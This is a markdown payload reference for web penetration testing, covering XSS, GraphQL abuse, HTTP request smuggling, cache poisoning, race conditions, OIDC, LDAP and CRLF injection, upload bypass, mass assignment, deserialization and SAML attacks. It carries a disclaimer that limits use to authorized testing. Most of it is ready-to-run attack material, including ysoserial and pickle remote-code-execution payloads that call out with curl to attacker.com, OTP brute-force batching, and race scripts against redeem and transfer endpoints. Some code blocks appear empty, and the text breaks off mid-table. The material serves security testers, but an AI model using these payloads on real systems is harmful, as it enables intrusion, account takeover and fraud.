# Security Payload Arsenal Complete reference library. Organized by vulnerability class. For authorized testing only. > **Authorization required.** Only use against systems you own or have explicit written permission to test. --- ## XSS Payloads ### Basic ```html

``` ### SameSite=Lax Bypass ```html ``` ### Next.js Server Actions ```bash curl -s https://TARGET/ | grep -oE '\$ACTION_ID_[a-f0-9]+' curl -X POST https://TARGET/ -H "Content-Type: multipart/form-data; boundary=----x" -H "Origin: null" \ --data-binary $'------x\r\nContent-Disposition: form-data; name="$ACTION_ID_HASH"\r\n\r\n\r\n------x--' ``` --- ## GraphQL Payloads ### Introspection ```graphql { __schema { types { name fields { name type { name } } } } } ``` ### Introspection Bypass ```graphql { __schema\n{ types { name } } } { __schema\t{ types { name } } } ``` ### Batching (rate limit / 2FA brute force) ```json [{"query":"mutation{login(otp:\"0000\")}"},{"query":"mutation{login(otp:\"0001\")}"}] ``` ### Alias Batching ```graphql { a1: user(id:1){email} a2: user(id:2){email} a3: user(id:3){email} } ``` ### IDOR ```graphql mutation { updateEmail(userId: "VICTIM_ID", email: "attacker@evil.com") { success } } ``` --- ## HTTP Request Smuggling ### CL.TE ```http POST / HTTP/1.1 Host: TARGET Content-Length: 6 Transfer-Encoding: chunked 0 G ``` ### TE.CL ```http POST / HTTP/1.1 Host: TARGET Content-Length: 3 Transfer-Encoding: chunked 8 SMUGGLED 0 ``` ### TE Obfuscation ``` Transfer-Encoding: xchunked Transfer-Encoding: chunked Transfer-Encoding:[tab]chunked [space]Transfer-Encoding: chunked ``` --- ## Web Cache Poisoning ### X-Forwarded-Host Injection ```bash curl -H "X-Forwarded-Host: evil.com" https://TARGET/page ``` ### Cache Deception ``` https://TARGET/account/settings.js https://TARGET/account;.js https://TARGET/account%3B.js ``` ### Unkeyed Header Injection ``` X-Forwarded-For: "> X-Original-URL: /admin ``` --- ## Race Condition ### Shell (curl parallel) ```bash seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \ -H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' & wait ``` ### TOCTOU Targets ``` POST /api/cart/coupon (coupon redemption) POST /api/gift-card/redeem (gift card) POST /api/transfer (fund transfer) POST /api/vote (counter) POST /api/otp/verify (OTP brute via racing) ``` --- ## OIDC Attack Payloads ### Cross-Origin Token Exchange (CORS wildcard) ```javascript const res = await fetch('https://TARGET/api/v1/oidc/token', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: new URLSearchParams({ grant_type: 'authorization_code', code: 'STOLEN_CODE', client_id: 'app_TARGET', client_secret: 'SECRET', redirect_uri: 'https://app.com/callback' }) }); ``` ### Open Redirect in Login ``` https://TARGET/api/auth/login?returnTo=https://evil.com/phish https://TARGET/api/auth/login?returnTo=//evil.com ``` ### Host Header Injection ```bash curl -H "X-Forwarded-Host: evil.com" -H "X-Forwarded-Proto: https" https://TARGET/api/login-callback ``` --- ## Timing Side-Channel ### Detect Unsafe Comparison ```bash grep -rn "\.digest(" --include="*.ts" --include="*.js" -A 3 | grep "===" grep -rn "timingSafeEqual" --include="*.ts" ``` ### Local Timing Measurement ```javascript const {performance} = require('perf_hooks'); function measure(fn, a, b, n=500000) { for(let i=0;i<10000;i++) fn(a,b); const s=performance.now(); for(let i=0;ia===b, t, '0'.repeat(64))); console.log('full:', measure((a,b)=>a===b, t, t)); ``` --- ## CRLF Injection ``` %0d%0aHeader: injected %0aHeader: injected %23%0dHeader: injected ``` --- ## LDAP Injection ``` * )(uid=*))(|(uid=* *))(|(password=* *))%00 admin)(&) ``` --- ## File Upload Bypass ### Extension Bypass ``` .php .php3 .php4 .php5 .phtml .phar .shtml .asp .aspx .ashx .cer .jsp .jspx .jspf file.php.jpg file.php%00.jpg ``` ### Content-Type Bypass ``` Content-Type: image/jpeg (with .php extension) GIF89a; ``` --- ## Mass Assignment ### Common Payloads ```json {"username":"user","email":"u@e.com","isAdmin":true} {"username":"user","role":"admin"} {"price":0.01,"discount":100} {"plan":"enterprise","trial_days":9999} {"user_id":1,"account_id":VICTIM_ID} ``` ### Where to Find - Registration forms (add `role`, `isAdmin`, `admin`, `is_staff`) - Profile edit (add `credits`, `balance`, `plan`) - API PUT/PATCH endpoints — always try adding undocumented fields - Rails / Django / Laravel / Spring Boot apps --- ## Insecure Deserialization ### Identify Serialized Data | Type | Hex Header | Base64 Prefix | |------|------------|---------------| | Java | `AC ED` | `rO` | | PHP | `4F 3A` | `Tz` | | Python Pickle | `80 04 95` | `gASV` | | Ruby Marshal | `04 08` | `BAgK` | | .NET BinaryFormatter | `FF 01` | `/w` | ### Exploitation Tools ```bash # Java — ysoserial java -jar ysoserial.jar CommonsCollections6 "curl attacker.com/$(id | base64)" | base64 java -jar ysoserial.jar URLDNS http://attacker.com # detection only # PHP — phpggc phpggc Laravel/RCE1 system "id" # Python pickle RCE python3 -c " import pickle, os, base64 class RCE: def __reduce__(self): return (os.system, ('curl attacker.com',)) print(base64.b64encode(pickle.dumps(RCE())).decode()) " ``` --- ## SAML Attacks ### Signature Stripping ```xml admin ``` ### XML Comment Injection (CVE-2017-11427-30) ```xml user@target.com ``` ### XXE in SAML ```xml ]> ...&xxe; ``` ### XML Signature Wrapping (XSW) Variants | Variant | Structure | |---------|-----------| | XSW1 | Clone unsigned Response appended AFTER existing signature | | XSW2 | Clone unsigned Response inserted BEFORE existing signature | | XSW3 | Clone unsigned Assertion inserted BEFORE legitimate signed Assertion | | XSW4 | Clone unsigned Assertion wrapped INSIDE legitimate Assertion | | XSW7 | Add `` block containing cloned unsigned Assertion | | XSW8 | Add `